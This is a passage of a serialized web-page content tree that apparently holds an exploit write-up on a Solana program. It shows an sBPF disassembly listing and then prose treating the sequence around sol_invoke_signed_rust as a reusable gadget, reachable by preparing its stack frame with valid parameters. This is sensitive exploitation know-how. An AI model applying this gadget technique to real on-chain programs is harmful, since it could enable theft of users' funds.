r3",{"type":23,"tag":314,"props":43439,"children":43440},{"style":338},[43441],{"type":28,"value":43387},{"type":23,"tag":314,"props":43443,"children":43444},{"style":360},[43445],{"type":28,"value":43392},{"type":23,"tag":314,"props":43447,"children":43448},{"style":354},[43449],{"type":28,"value":1051},{"type":23,"tag":314,"props":43451,"children":43452},{"style":1054},[43453],{"type":28,"value":29096},{"type":23,"tag":314,"props":43455,"children":43456},{"style":338},[43457],{"type":28,"value":43406},{"type":23,"tag":314,"props":43459,"children":43460},{"style":360},[43461],{"type":28,"value":43462},"var_80",{"type":23,"tag":314,"props":43464,"children":43465},{"style":338},[43466],{"type":28,"value":386},{"type":23,"tag":314,"props":43468,"children":43469},{"class":316,"line":1091},[43470,43475,43480,43484,43489,43493,43497,43501,43506,43510,43515],{"type":23,"tag":314,"props":43471,"children":43472},{"style":360},[43473],{"type":28,"value":43474},"100001bb8",{"type":23,"tag":314,"props":43476,"children":43477},{"style":360},[43478],{"type":28,"value":43479}," 79a468ff00000000",{"type":23,"tag":314,"props":43481,"children":43482},{"style":360},[43483],{"type":28,"value":43377},{"type":23,"tag":314,"props":43485,"children":43486},{"style":360},[43487],{"type":28,"value":43488}," r4",{"type":23,"tag":314,"props":43490,"children":43491},{"style":338},[43492],{"type":28,"value":43387},{"type":23,"tag":314,"props":43494,"children":43495},{"style":360},[43496],{"type":28,"value":43392},{"type":23,"tag":314,"props":43498,"children":43499},{"style":354},[43500],{"type":28,"value":1051},{"type":23,"tag":314,"props":43502,"children":43503},{"style":1054},[43504],{"type":28,"value":43505},"152",{"type":23,"tag":314,"props":43507,"children":43508},{"style":338},[43509],{"type":28,"value":43406},{"type":23,"tag":314,"props":43511,"children":43512},{"style":360},[43513],{"type":28,"value":43514},"var_98",{"type":23,"tag":314,"props":43516,"children":43517},{"style":338},[43518],{"type":28,"value":386},{"type":23,"tag":314,"props":43520,"children":43521},{"class":316,"line":1141},[43522,43527,43532,43536,43541,43545,43549,43553,43558,43562,43567],{"type":23,"tag":314,"props":43523,"children":43524},{"style":360},[43525],{"type":28,"value":43526},"100001bc0",{"type":23,"tag":314,"props":43528,"children":43529},{"style":360},[43530],{"type":28,"value":43531}," 79a570ff00000000",{"type":23,"tag":314,"props":43533,"children":43534},{"style":360},[43535],{"type":28,"value":43377},{"type":23,"tag":314,"props":43537,"children":43538},{"style":360},[43539],{"type":28,"value":43540}," r5",{"type":23,"tag":314,"props":43542,"children":43543},{"style":338},[43544],{"type":28,"value":43387},{"type":23,"tag":314,"props":43546,"children":43547},{"style":360},[43548],{"type":28,"value":43392},{"type":23,"tag":314,"props":43550,"children":43551},{"style":354},[43552],{"type":28,"value":1051},{"type":23,"tag":314,"props":43554,"children":43555},{"style":1054},[43556],{"type":28,"value":43557},"144",{"type":23,"tag":314,"props":43559,"children":43560},{"style":338},[43561],{"type":28,"value":43406},{"type":23,"tag":314,"props":43563,"children":43564},{"style":360},[43565],{"type":28,"value":43566},"var_90",{"type":23,"tag":314,"props":43568,"children":43569},{"style":338},[43570],{"type":28,"value":386},{"type":23,"tag":314,"props":43572,"children":43573},{"class":316,"line":1173},[43574,43579,43584,43589],{"type":23,"tag":314,"props":43575,"children":43576},{"style":360},[43577],{"type":28,"value":43578},"100001bc8",{"type":23,"tag":314,"props":43580,"children":43581},{"style":1054},[43582],{"type":28,"value":43583}," 8520000020100000",{"type":23,"tag":314,"props":43585,"children":43586},{"style":360},[43587],{"type":28,"value":43588}," call",{"type":23,"tag":314,"props":43590,"children":43591},{"style":360},[43592],{"type":28,"value":43593}," sol_invoke_signed_rust\n",{"type":23,"tag":314,"props":43595,"children":43596},{"class":316,"line":1208},[43597,43602,43607,43612,43616,43620,43624,43628,43633,43637],{"type":23,"tag":314,"props":43598,"children":43599},{"style":360},[43600],{"type":28,"value":43601},"100001bd0",{"type":23,"tag":314,"props":43603,"children":43604},{"style":1054},[43605],{"type":28,"value":43606}," 5500040000000000",{"type":23,"tag":314,"props":43608,"children":43609},{"style":360},[43610],{"type":28,"value":43611}," jne",{"type":23,"tag":314,"props":43613,"children":43614},{"style":338},[43615],{"type":28,"value":7971},{"type":23,"tag":314,"props":43617,"children":43618},{"style":354},[43619],{"type":28,"value":1130},{"type":23,"tag":314,"props":43621,"children":43622},{"style":1054},[43623],{"type":28,"value":1567},{"type":23,"tag":314,"props":43625,"children":43626},{"style":338},[43627],{"type":28,"value":5075},{"type":23,"tag":314,"props":43629,"children":43630},{"style":360},[43631],{"type":28,"value":43632},"r0",{"type":23,"tag":314,"props":43634,"children":43635},{"style":338},[43636],{"type":28,"value":778},{"type":23,"tag":314,"props":43638,"children":43639},{"style":1054},[43640],{"type":28,"value":43641},"0x0\n",{"type":23,"tag":314,"props":43643,"children":43644},{"class":316,"line":1216},[43645],{"type":23,"tag":314,"props":43646,"children":43647},{"emptyLinePlaceholder":18},[43648],{"type":28,"value":1088},{"type":23,"tag":314,"props":43650,"children":43651},{"class":316,"line":1301},[43652,43657,43662,43667,43672,43676],{"type":23,"tag":314,"props":43653,"children":43654},{"style":360},[43655],{"type":28,"value":43656},"100001bd8",{"type":23,"tag":314,"props":43658,"children":43659},{"style":360},[43660],{"type":28,"value":43661}," b701000018000000",{"type":23,"tag":314,"props":43663,"children":43664},{"style":360},[43665],{"type":28,"value":43666}," mov",{"type":23,"tag":314,"props":43668,"children":43669},{"style":360},[43670],{"type":28,"value":43671}," r1",{"type":23,"tag":314,"props":43673,"children":43674},{"style":338},[43675],{"type":28,"value":778},{"type":23,"tag":314,"props":43677,"children":43678},{"style":1054},[43679],{"type":28,"value":43680},"0x18\n",{"type":23,"tag":314,"props":43682,"children":43683},{"class":316,"line":1343},[43684,43689,43694,43698,43702,43706,43710,43714,43719,43723,43728],{"type":23,"tag":314,"props":43685,"children":43686},{"style":360},[43687],{"type":28,"value":43688},"100001be0",{"type":23,"tag":314,"props":43690,"children":43691},{"style":360},[43692],{"type":28,"value":43693}," 79a288ff00000000",{"type":23,"tag":314,"props":43695,"children":43696},{"style":360},[43697],{"type":28,"value":43377},{"type":23,"tag":314,"props":43699,"children":43700},{"style":360},[43701],{"type":28,"value":43382},{"type":23,"tag":314,"props":43703,"children":43704},{"style":338},[43705],{"type":28,"value":43387},{"type":23,"tag":314,"props":43707,"children":43708},{"style":360},[43709],{"type":28,"value":43392},{"type":23,"tag":314,"props":43711,"children":43712},{"style":354},[43713],{"type":28,"value":1051},{"type":23,"tag":314,"props":43715,"children":43716},{"style":1054},[43717],{"type":28,"value":43718},"120",{"type":23,"tag":314,"props":43720,"children":43721},{"style":338},[43722],{"type":28,"value":43406},{"type":23,"tag":314,"props":43724,"children":43725},{"style":360},[43726],{"type":28,"value":43727},"var_78",{"type":23,"tag":314,"props":43729,"children":43730},{"style":338},[43731],{"type":28,"value":386},{"type":23,"tag":314,"props":43733,"children":43734},{"class":316,"line":1351},[43735,43740,43745,43750,43754,43759,43763,43767,43771,43776,43780,43785],{"type":23,"tag":314,"props":43736,"children":43737},{"style":360},[43738],{"type":28,"value":43739},"100001be8",{"type":23,"tag":314,"props":43741,"children":43742},{"style":1054},[43743],{"type":28,"value":43744}," 6312000000000000",{"type":23,"tag":314,"props":43746,"children":43747},{"style":360},[43748],{"type":28,"value":43749}," stxw",{"type":23,"tag":314,"props":43751,"children":43752},{"style":338},[43753],{"type":28,"value":22270},{"type":23,"tag":314,"props":43755,"children":43756},{"style":360},[43757],{"type":28,"value":43758},"r2",{"type":23,"tag":314,"props":43760,"children":43761},{"style":354},[43762],{"type":28,"value":1051},{"type":23,"tag":314,"props":43764,"children":43765},{"style":1054},[43766],{"type":28,"value":1600},{"type":23,"tag":314,"props":43768,"children":43769},{"style":338},[43770],{"type":28,"value":22298},{"type":23,"tag":314,"props":43772,"children":43773},{"style":360},[43774],{"type":28,"value":43775},"r1",{"type":23,"tag":314,"props":43777,"children":43778},{"style":338},[43779],{"type":28,"value":1458},{"type":23,"tag":314,"props":43781,"children":43782},{"style":1054},[43783],{"type":28,"value":43784},"0x18",{"type":23,"tag":314,"props":43786,"children":43787},{"style":338},[43788],{"type":28,"value":386},{"type":23,"tag":314,"props":43790,"children":43791},{"class":316,"line":1387},[43792,43797,43802,43807,43811,43815,43819],{"type":23,"tag":314,"props":43793,"children":43794},{"style":360},[43795],{"type":28,"value":43796},"100001bf0",{"type":23,"tag":314,"props":43798,"children":43799},{"style":1054},[43800],{"type":28,"value":43801}," 0500030000000000",{"type":23,"tag":314,"props":43803,"children":43804},{"style":360},[43805],{"type":28,"value":43806}," ja",{"type":23,"tag":314,"props":43808,"children":43809},{"style":338},[43810],{"type":28,"value":7971},{"type":23,"tag":314,"props":43812,"children":43813},{"style":354},[43814],{"type":28,"value":1130},{"type":23,"tag":314,"props":43816,"children":43817},{"style":1054},[43818],{"type":28,"value":16535},{"type":23,"tag":314,"props":43820,"children":43821},{"style":338},[43822],{"type":28,"value":5247},{"type":23,"tag":314,"props":43824,"children":43825},{"class":316,"line":1422},[43826],{"type":23,"tag":314,"props":43827,"children":43828},{"emptyLinePlaceholder":18},[43829],{"type":28,"value":1088},{"type":23,"tag":314,"props":43831,"children":43832},{"class":316,"line":1430},[43833,43838,43843,43847,43851,43855,43859,43863,43867,43871,43875],{"type":23,"tag":314,"props":43834,"children":43835},{"style":360},[43836],{"type":28,"value":43837},"100001bf8",{"type":23,"tag":314,"props":43839,"children":43840},{"style":360},[43841],{"type":28,"value":43842}," 79a188ff00000000",{"type":23,"tag":314,"props":43844,"children":43845},{"style":360},[43846],{"type":28,"value":43377},{"type":23,"tag":314,"props":43848,"children":43849},{"style":360},[43850],{"type":28,"value":43671},{"type":23,"tag":314,"props":43852,"children":43853},{"style":338},[43854],{"type":28,"value":43387},{"type":23,"tag":314,"props":43856,"children":43857},{"style":360},[43858],{"type":28,"value":43392},{"type":23,"tag":314,"props":43860,"children":43861},{"style":354},[43862],{"type":28,"value":1051},{"type":23,"tag":314,"props":43864,"children":43865},{"style":1054},[43866],{"type":28,"value":43718},{"type":23,"tag":314,"props":43868,"children":43869},{"style":338},[43870],{"type":28,"value":43406},{"type":23,"tag":314,"props":43872,"children":43873},{"style":360},[43874],{"type":28,"value":43727},{"type":23,"tag":314,"props":43876,"children":43877},{"style":338},[43878],{"type":28,"value":386},{"type":23,"tag":314,"props":43880,"children":43881},{"class":316,"line":1452},[43882,43887,43892,43896,43900,43904],{"type":23,"tag":314,"props":43883,"children":43884},{"style":360},[43885],{"type":28,"value":43886},"100001c00",{"type":23,"tag":314,"props":43888,"children":43889},{"style":360},[43890],{"type":28,"value":43891}," bf02000000000000",{"type":23,"tag":314,"props":43893,"children":43894},{"style":360},[43895],{"type":28,"value":43666},{"type":23,"tag":314,"props":43897,"children":43898},{"style":360},[43899],{"type":28,"value":43382},{"type":23,"tag":314,"props":43901,"children":43902},{"style":338},[43903],{"type":28,"value":778},{"type":23,"tag":314,"props":43905,"children":43906},{"style":360},[43907],{"type":28,"value":43908},"r0\n",{"type":23,"tag":314,"props":43910,"children":43911},{"class":316,"line":1497},[43912,43917,43922,43926,43931,43935,43940,43944,43948,43953,43957,43961,43966,43971,43975,43979],{"type":23,"tag":314,"props":43913,"children":43914},{"style":360},[43915],{"type":28,"value":43916},"100001c08",{"type":23,"tag":314,"props":43918,"children":43919},{"style":1054},[43920],{"type":28,"value":43921}," 8510000075000000",{"type":23,"tag":314,"props":43923,"children":43924},{"style":360},[43925],{"type":28,"value":43588},{"type":23,"tag":314,"props":43927,"children":43928},{"style":2674},[43929],{"type":28,"value":43930}," _ZN94_",{"type":23,"tag":314,"props":43932,"children":43933},{"style":354},[43934],{"type":28,"value":9536},{"type":23,"tag":314,"props":43936,"children":43937},{"style":2674},[43938],{"type":28,"value":43939},"LT",{"type":23,"tag":314,"props":43941,"children":43942},{"style":354},[43943],{"type":28,"value":9536},{"type":23,"tag":314,"props":43945,"children":43946},{"style":360},[43947],{"type":28,"value":12901},{"type":23,"tag":314,"props":43949,"children":43950},{"style":354},[43951],{"type":28,"value":43952},"...$",{"type":23,"tag":314,"props":43954,"children":43955},{"style":360},[43956],{"type":28,"value":7297},{"type":23,"tag":314,"props":43958,"children":43959},{"style":354},[43960],{"type":28,"value":9536},{"type":23,"tag":314,"props":43962,"children":43963},{"style":2674},[43964],{"type":28,"value":43965},"GT",{"type":23,"tag":314,"props":43967,"children":43968},{"style":354},[43969],{"type":28,"value":43970},"$$",{"type":23,"tag":314,"props":43972,"children":43973},{"style":2674},[43974],{"type":28,"value":43965},{"type":23,"tag":314,"props":43976,"children":43977},{"style":354},[43978],{"type":28,"value":9536},{"type":23,"tag":314,"props":43980,"children":43981},{"style":338},[43982],{"type":28,"value":43983},"4from17ha0d289b72861b06dE\n",{"type":23,"tag":314,"props":43985,"children":43986},{"class":316,"line":1539},[43987],{"type":23,"tag":314,"props":43988,"children":43989},{"emptyLinePlaceholder":18},[43990],{"type":28,"value":1088},{"type":23,"tag":314,"props":43992,"children":43993},{"class":316,"line":1548},[43994,43999,44004,44008,44012,44016,44020,44024,44029,44033,44038],{"type":23,"tag":314,"props":43995,"children":43996},{"style":360},[43997],{"type":28,"value":43998},"100001c10",{"type":23,"tag":314,"props":44000,"children":44001},{"style":360},[44002],{"type":28,"value":44003}," 79a2b8ff00000000",{"type":23,"tag":314,"props":44005,"children":44006},{"style":360},[44007],{"type":28,"value":43377},{"type":23,"tag":314,"props":44009,"children":44010},{"style":360},[44011],{"type":28,"value":43382},{"type":23,"tag":314,"props":44013,"children":44014},{"style":338},[44015],{"type":28,"value":43387},{"type":23,"tag":314,"props":44017,"children":44018},{"style":360},[44019],{"type":28,"value":43392},{"type":23,"tag":314,"props":44021,"children":44022},{"style":354},[44023],{"type":28,"value":1051},{"type":23,"tag":314,"props":44025,"children":44026},{"style":1054},[44027],{"type":28,"value":44028},"72",{"type":23,"tag":314,"props":44030,"children":44031},{"style":338},[44032],{"type":28,"value":43406},{"type":23,"tag":314,"props":44034,"children":44035},{"style":360},[44036],{"type":28,"value":44037},"var_48",{"type":23,"tag":314,"props":44039,"children":44040},{"style":338},[44041],{"type":28,"value":386},{"type":23,"tag":314,"props":44043,"children":44044},{"class":316,"line":1584},[44045,44050,44055,44060,44064,44068,44072,44076,44080,44084],{"type":23,"tag":314,"props":44046,"children":44047},{"style":360},[44048],{"type":28,"value":44049},"100001c18",{"type":23,"tag":314,"props":44051,"children":44052},{"style":1054},[44053],{"type":28,"value":44054}," 1502040000000000",{"type":23,"tag":314,"props":44056,"children":44057},{"style":360},[44058],{"type":28,"value":44059}," jeq",{"type":23,"tag":314,"props":44061,"children":44062},{"style":338},[44063],{"type":28,"value":7971},{"type":23,"tag":314,"props":44065,"children":44066},{"style":354},[44067],{"type":28,"value":1130},{"type":23,"tag":314,"props":44069,"children":44070},{"style":1054},[44071],{"type":28,"value":1567},{"type":23,"tag":314,"props":44073,"children":44074},{"style":338},[44075],{"type":28,"value":5075},{"type":23,"tag":314,"props":44077,"children":44078},{"style":360},[44079],{"type":28,"value":43758},{"type":23,"tag":314,"props":44081,"children":44082},{"style":338},[44083],{"type":28,"value":778},{"type":23,"tag":314,"props":44085,"children":44086},{"style":1054},[44087],{"type":28,"value":43641},{"type":23,"tag":314,"props":44089,"children":44090},{"class":316,"line":1617},[44091],{"type":23,"tag":314,"props":44092,"children":44093},{"emptyLinePlaceholder":18},[44094],{"type":28,"value":1088},{"type":23,"tag":314,"props":44096,"children":44097},{"class":316,"line":1625},[44098,44103,44108,44113,44117,44121],{"type":23,"tag":314,"props":44099,"children":44100},{"style":360},[44101],{"type":28,"value":44102},"100001c20",{"type":23,"tag":314,"props":44104,"children":44105},{"style":1054},[44106],{"type":28,"value":44107}," 2702000022000000",{"type":23,"tag":314,"props":44109,"children":44110},{"style":360},[44111],{"type":28,"value":44112}," mul",{"type":23,"tag":314,"props":44114,"children":44115},{"style":360},[44116],{"type":28,"value":43382},{"type":23,"tag":314,"props":44118,"children":44119},{"style":338},[44120],{"type":28,"value":778},{"type":23,"tag":314,"props":44122,"children":44123},{"style":1054},[44124],{"type":28,"value":44125},"0x22\n",{"type":23,"tag":314,"props":44127,"children":44128},{"class":316,"line":1660},[44129,44134,44139,44143,44147,44151,44155,44159,44164,44168,44173],{"type":23,"tag":314,"props":44130,"children":44131},{"style":360},[44132],{"type":28,"value":44133},"100001c28",{"type":23,"tag":314,"props":44135,"children":44136},{"style":360},[44137],{"type":28,"value":44138}," 79a1b0ff00000000",{"type":23,"tag":314,"props":44140,"children":44141},{"style":360},[44142],{"type":28,"value":43377},{"type":23,"tag":314,"props":44144,"children":44145},{"style":360},[44146],{"type":28,"value":43671},{"type":23,"tag":314,"props":44148,"children":44149},{"style":338},[44150],{"type":28,"value":43387},{"type":23,"tag":314,"props":44152,"children":44153},{"style":360},[44154],{"type":28,"value":43392},{"type":23,"tag":314,"props":44156,"children":44157},{"style":354},[44158],{"type":28,"value":1051},{"type":23,"tag":314,"props":44160,"children":44161},{"style":1054},[44162],{"type":28,"value":44163},"80",{"type":23,"tag":314,"props":44165,"children":44166},{"style":338},[44167],{"type":28,"value":43406},{"type":23,"tag":314,"props":44169,"children":44170},{"style":360},[44171],{"type":28,"value":44172},"var_50",{"type":23,"tag":314,"props":44174,"children":44175},{"style":338},[44176],{"type":28,"value":386},{"type":23,"tag":314,"props":44178,"children":44179},{"class":316,"line":1708},[44180,44185,44190,44194,44198,44202],{"type":23,"tag":314,"props":44181,"children":44182},{"style":360},[44183],{"type":28,"value":44184},"100001c30",{"type":23,"tag":314,"props":44186,"children":44187},{"style":360},[44188],{"type":28,"value":44189}," b703000001000000",{"type":23,"tag":314,"props":44191,"children":44192},{"style":360},[44193],{"type":28,"value":43666},{"type":23,"tag":314,"props":44195,"children":44196},{"style":360},[44197],{"type":28,"value":43437},{"type":23,"tag":314,"props":44199,"children":44200},{"style":338},[44201],{"type":28,"value":778},{"type":23,"tag":314,"props":44203,"children":44204},{"style":1054},[44205],{"type":28,"value":44206},"0x1\n",{"type":23,"tag":314,"props":44208,"children":44209},{"class":316,"line":1743},[44210,44215,44220,44224],{"type":23,"tag":314,"props":44211,"children":44212},{"style":360},[44213],{"type":28,"value":44214},"100001c38",{"type":23,"tag":314,"props":44216,"children":44217},{"style":360},[44218],{"type":28,"value":44219}," 8510000003feffff",{"type":23,"tag":314,"props":44221,"children":44222},{"style":360},[44223],{"type":28,"value":43588},{"type":23,"tag":314,"props":44225,"children":44226},{"style":360},[44227],{"type":28,"value":44228}," __rust_dealloc\n",{"type":23,"tag":314,"props":44230,"children":44231},{"class":316,"line":1751},[44232],{"type":23,"tag":314,"props":44233,"children":44234},{"emptyLinePlaceholder":18},[44235],{"type":28,"value":1088},{"type":23,"tag":314,"props":44237,"children":44238},{"class":316,"line":1791},[44239,44244,44249,44253,44257,44261,44265,44269,44274,44278,44283],{"type":23,"tag":314,"props":44240,"children":44241},{"style":360},[44242],{"type":28,"value":44243},"100001c40",{"type":23,"tag":314,"props":44245,"children":44246},{"style":360},[44247],{"type":28,"value":44248}," 79a2d0ff00000000",{"type":23,"tag":314,"props":44250,"children":44251},{"style":360},[44252],{"type":28,"value":43377},{"type":23,"tag":314,"props":44254,"children":44255},{"style":360},[44256],{"type":28,"value":43382},{"type":23,"tag":314,"props":44258,"children":44259},{"style":338},[44260],{"type":28,"value":43387},{"type":23,"tag":314,"props":44262,"children":44263},{"style":360},[44264],{"type":28,"value":43392},{"type":23,"tag":314,"props":44266,"children":44267},{"style":354},[44268],{"type":28,"value":1051},{"type":23,"tag":314,"props":44270,"children":44271},{"style":1054},[44272],{"type":28,"value":44273},"48",{"type":23,"tag":314,"props":44275,"children":44276},{"style":338},[44277],{"type":28,"value":43406},{"type":23,"tag":314,"props":44279,"children":44280},{"style":360},[44281],{"type":28,"value":44282},"var_30",{"type":23,"tag":314,"props":44284,"children":44285},{"style":338},[44286],{"type":28,"value":386},{"type":23,"tag":314,"props":44288,"children":44289},{"class":316,"line":1805},[44290,44295,44300,44304,44308,44312,44316,44320,44324,44328],{"type":23,"tag":314,"props":44291,"children":44292},{"style":360},[44293],{"type":28,"value":44294},"100001c48",{"type":23,"tag":314,"props":44296,"children":44297},{"style":1054},[44298],{"type":28,"value":44299}," 1502030000000000",{"type":23,"tag":314,"props":44301,"children":44302},{"style":360},[44303],{"type":28,"value":44059},{"type":23,"tag":314,"props":44305,"children":44306},{"style":338},[44307],{"type":28,"value":7971},{"type":23,"tag":314,"props":44309,"children":44310},{"style":354},[44311],{"type":28,"value":1130},{"type":23,"tag":314,"props":44313,"children":44314},{"style":1054},[44315],{"type":28,"value":16535},{"type":23,"tag":314,"props":44317,"children":44318},{"style":338},[44319],{"type":28,"value":5075},{"type":23,"tag":314,"props":44321,"children":44322},{"style":360},[44323],{"type":28,"value":43758},{"type":23,"tag":314,"props":44325,"children":44326},{"style":338},[44327],{"type":28,"value":778},{"type":23,"tag":314,"props":44329,"children":44330},{"style":1054},[44331],{"type":28,"value":43641},{"type":23,"tag":314,"props":44333,"children":44334},{"class":316,"line":1818},[44335],{"type":23,"tag":314,"props":44336,"children":44337},{"emptyLinePlaceholder":18},[44338],{"type":28,"value":1088},{"type":23,"tag":314,"props":44340,"children":44341},{"class":316,"line":1873},[44342,44347,44352,44356,44360,44364,44368,44372,44377,44381,44386],{"type":23,"tag":314,"props":44343,"children":44344},{"style":360},[44345],{"type":28,"value":44346},"100001c50",{"type":23,"tag":314,"props":44348,"children":44349},{"style":360},[44350],{"type":28,"value":44351}," 79a1c8ff00000000",{"type":23,"tag":314,"props":44353,"children":44354},{"style":360},[44355],{"type":28,"value":43377},{"type":23,"tag":314,"props":44357,"children":44358},{"style":360},[44359],{"type":28,"value":43671},{"type":23,"tag":314,"props":44361,"children":44362},{"style":338},[44363],{"type":28,"value":43387},{"type":23,"tag":314,"props":44365,"children":44366},{"style":360},[44367],{"type":28,"value":43392},{"type":23,"tag":314,"props":44369,"children":44370},{"style":354},[44371],{"type":28,"value":1051},{"type":23,"tag":314,"props":44373,"children":44374},{"style":1054},[44375],{"type":28,"value":44376},"56",{"type":23,"tag":314,"props":44378,"children":44379},{"style":338},[44380],{"type":28,"value":43406},{"type":23,"tag":314,"props":44382,"children":44383},{"style":360},[44384],{"type":28,"value":44385},"var_38",{"type":23,"tag":314,"props":44387,"children":44388},{"style":338},[44389],{"type":28,"value":386},{"type":23,"tag":314,"props":44391,"children":44392},{"class":316,"line":1891},[44393,44398,44402,44406,44410,44414],{"type":23,"tag":314,"props":44394,"children":44395},{"style":360},[44396],{"type":28,"value":44397},"100001c58",{"type":23,"tag":314,"props":44399,"children":44400},{"style":360},[44401],{"type":28,"value":44189},{"type":23,"tag":314,"props":44403,"children":44404},{"style":360},[44405],{"type":28,"value":43666},{"type":23,"tag":314,"props":44407,"children":44408},{"style":360},[44409],{"type":28,"value":43437},{"type":23,"tag":314,"props":44411,"children":44412},{"style":338},[44413],{"type":28,"value":778},{"type":23,"tag":314,"props":44415,"children":44416},{"style":1054},[44417],{"type":28,"value":44206},{"type":23,"tag":314,"props":44419,"children":44420},{"class":316,"line":1899},[44421,44426,44431,44435],{"type":23,"tag":314,"props":44422,"children":44423},{"style":360},[44424],{"type":28,"value":44425},"100001c60",{"type":23,"tag":314,"props":44427,"children":44428},{"style":360},[44429],{"type":28,"value":44430}," 85100000fefdffff",{"type":23,"tag":314,"props":44432,"children":44433},{"style":360},[44434],{"type":28,"value":43588},{"type":23,"tag":314,"props":44436,"children":44437},{"style":360},[44438],{"type":28,"value":44228},{"type":23,"tag":314,"props":44440,"children":44441},{"class":316,"line":1944},[44442],{"type":23,"tag":314,"props":44443,"children":44444},{"emptyLinePlaceholder":18},[44445],{"type":28,"value":1088},{"type":23,"tag":314,"props":44447,"children":44448},{"class":316,"line":2008},[44449,44454,44459,44464,44468,44473],{"type":23,"tag":314,"props":44450,"children":44451},{"style":360},[44452],{"type":28,"value":44453},"100001c68",{"type":23,"tag":314,"props":44455,"children":44456},{"style":1054},[44457],{"type":28,"value":44458}," 9500000000000000",{"type":23,"tag":314,"props":44460,"children":44461},{"style":360},[44462],{"type":28,"value":44463}," exit",{"type":23,"tag":314,"props":44465,"children":44466},{"style":338},[44467],{"type":28,"value":1770},{"type":23,"tag":314,"props":44469,"children":44470},{"style":360},[44471],{"type":28,"value":44472},"__return_addr",{"type":23,"tag":314,"props":44474,"children":44475},{"style":338},[44476],{"type":28,"value":386},{"type":23,"tag":24,"props":44478,"children":44479},{},[44480,44482,44487],{"type":28,"value":44481},"Which, assuming that ",{"type":23,"tag":94,"props":44483,"children":44485},{"className":44484},[],[44486],{"type":28,"value":521},{"type":28,"value":44488}," returns 0, is doing the following:",{"type":23,"tag":84,"props":44490,"children":44491},{},[44492,44501,44510],{"type":23,"tag":88,"props":44493,"children":44494},{},[44495],{"type":23,"tag":94,"props":44496,"children":44498},{"className":44497},[],[44499],{"type":28,"value":44500},"sol_invoke_signed_rust(r1, [r10-136], [r10-128], [r10-152], [r10-144])",{"type":23,"tag":88,"props":44502,"children":44503},{},[44504],{"type":23,"tag":94,"props":44505,"children":44507},{"className":44506},[],[44508],{"type":28,"value":44509},"*[r10-120] = 0x18",{"type":23,"tag":88,"props":44511,"children":44512},{},[44513,44515,44521,44523,44530],{"type":28,"value":44514},"Calls ",{"type":23,"tag":94,"props":44516,"children":44518},{"className":44517},[],[44519],{"type":28,"value":44520},"__rust_dealloc",{"type":28,"value":44522},", which in default circumstances is a ",{"type":23,"tag":31,"props":44524,"children":44527},{"href":44525,"rel":44526},"https://github.com/solana-labs/solana/blob/v1.17.4/sdk/program/src/entrypoint.rs#L257C1-L259",[35],[44528],{"type":28,"value":44529},"NOP",{"type":28,"value":282},{"type":23,"tag":24,"props":44532,"children":44533},{},[44534],{"type":28,"value":44535},"r10 is the stack pointer, so it will point to the stack frame of the current depth when executing that instruction.",{"type":23,"tag":24,"props":44537,"children":44538},{},[44539],{"type":28,"value":44540},"If we correctly set up the stack frame used by this gadget with valid parameters, that's a win.",{"type":23,"tag":24,"props":44542,"children":44543},{},[44544,44546,44553],{"type":28,"value":44545},"Looking at the ",{"type":23,"tag":31,"props":44547,"children":44550},{"href":44548,"rel":44549},"https://github.com/solana-labs/solana/blob/master/sdk/program/src/syscalls/definitions.rs#L59",[35],[44551],{"type":28,"value":44552},"definition",{"type":28,"value":44554},", it's not crystal clear what the parameters are:",{"type":23,"tag":304,"props":44556,"children":44558},{"className":2234,"code":44557,"language":2233,"meta":7,"style":7},"fn sol_invoke_signed_rust(instruction_addr: *const u8, account_infos_addr: *const u8, account_infos_len: u64, signers_seeds_addr: *const u8, signers_seeds_len: u64) -> u64\n",[44559],{"type":23,"tag":94,"props":44560,"children":44561},{"__ignoreMap":7},[44562],{"type":23,"tag":314,"props":44563,"children":44564},{"class":316,"line":317},[44565,44569,44574,44578,44583,44587,44591,44595,44599,44603,44608,44612,44616,44620,44624,44628,44633,44637,44641,44645,44650,44654,44658,44662,44666,44670,44675,44679,44683,44687,44691],{"type":23,"tag":314,"props":44566,"children":44567},{"style":321},[44568],{"type":28,"value":19504},{"type":23,"tag":314,"props":44570,"children":44571},{"style":332},[44572],{"type":28,"value":44573}," sol_invoke_signed_rust",{"type":23,"tag":314,"props":44575,"children":44576},{"style":338},[44577],{"type":28,"value":341},{"type":23,"tag":314,"props":44579,"children":44580},{"style":360},[44581],{"type":28,"value":44582},"instruction_addr",{"type":23,"tag":314,"props":44584,"children":44585},{"style":354},[44586],{"type":28,"value":3746},{"type":23,"tag":314,"props":44588,"children":44589},{"style":354},[44590],{"type":28,"value":357},{"type":23,"tag":314,"props":44592,"children":44593},{"style":321},[44594],{"type":28,"value":346},{"type":23,"tag":314,"props":44596,"children":44597},{"style":2674},[44598],{"type":28,"value":13880},{"type":23,"tag":314,"props":44600,"children":44601},{"style":338},[44602],{"type":28,"value":778},{"type":23,"tag":314,"props":44604,"children":44605},{"style":360},[44606],{"type":28,"value":44607},"account_infos_addr",{"type":23,"tag":314,"props":44609,"children":44610},{"style":354},[44611],{"type":28,"value":3746},{"type":23,"tag":314,"props":44613,"children":44614},{"style":354},[44615],{"type":28,"value":357},{"type":23,"tag":314,"props":44617,"children":44618},{"style":321},[44619],{"type":28,"value":346},{"type":23,"tag":314,"props":44621,"children":44622},{"style":2674},[44623],{"type":28,"value":13880},{"type":23,"tag":314,"props":44625,"children":44626},{"style":338},[44627],{"type":28,"value":778},{"type":23,"tag":314,"props":44629,"children":44630},{"style":360},[44631],{"type":28,"value":44632},"account_infos_len",{"type":23,"tag":314,"props":44634,"children":44635},{"style":354},[44636],{"type":28,"value":3746},{"type":23,"tag":314,"props":44638,"children":44639},{"style":2674},[44640],{"type":28,"value":5114},{"type":23,"tag":314,"props":44642,"children":44643},{"style":338},[44644],{"type":28,"value":778},{"type":23,"tag":314,"props":44646,"children":44647},{"style":360},[44648],{"type":28,"value":44649},"signers_seeds_addr",{"type":23,"tag":314,"props":44651,"children":44652},{"style":354},[44653],{"type":28,"value":3746},{"type":23,"tag":314,"props":44655,"children":44656},{"style":354},[44657],{"type":28,"value":357},{"type":23,"tag":314,"props":44659,"children":44660},{"style":321},[44661],{"type":28,"value":346},{"type":23,"tag":314,"props":44663,"children":44664},{"style":2674},[44665],{"type":28,"value":13880},{"type":23,"tag":314,"props":44667,"children":44668},{"style":338},[44669],{"type":28,"value":778},{"type":23,"tag":314,"props":44671,"children":44672},{"style":360},[44673],{"type":28,"value":44674},"signers_seeds_len",{"type":23,"tag":314,"props":44676,"children":44677},{"style":354},[44678],{"type":28,"value":3746},{"type":23,"tag":314,"props":44680,"children":44681},{"style":2674},[44682],{"type":28,"value":5114},{"type":23,"tag":314,"props":44684,"children":44685},{"style":338},[44686],{"type":28,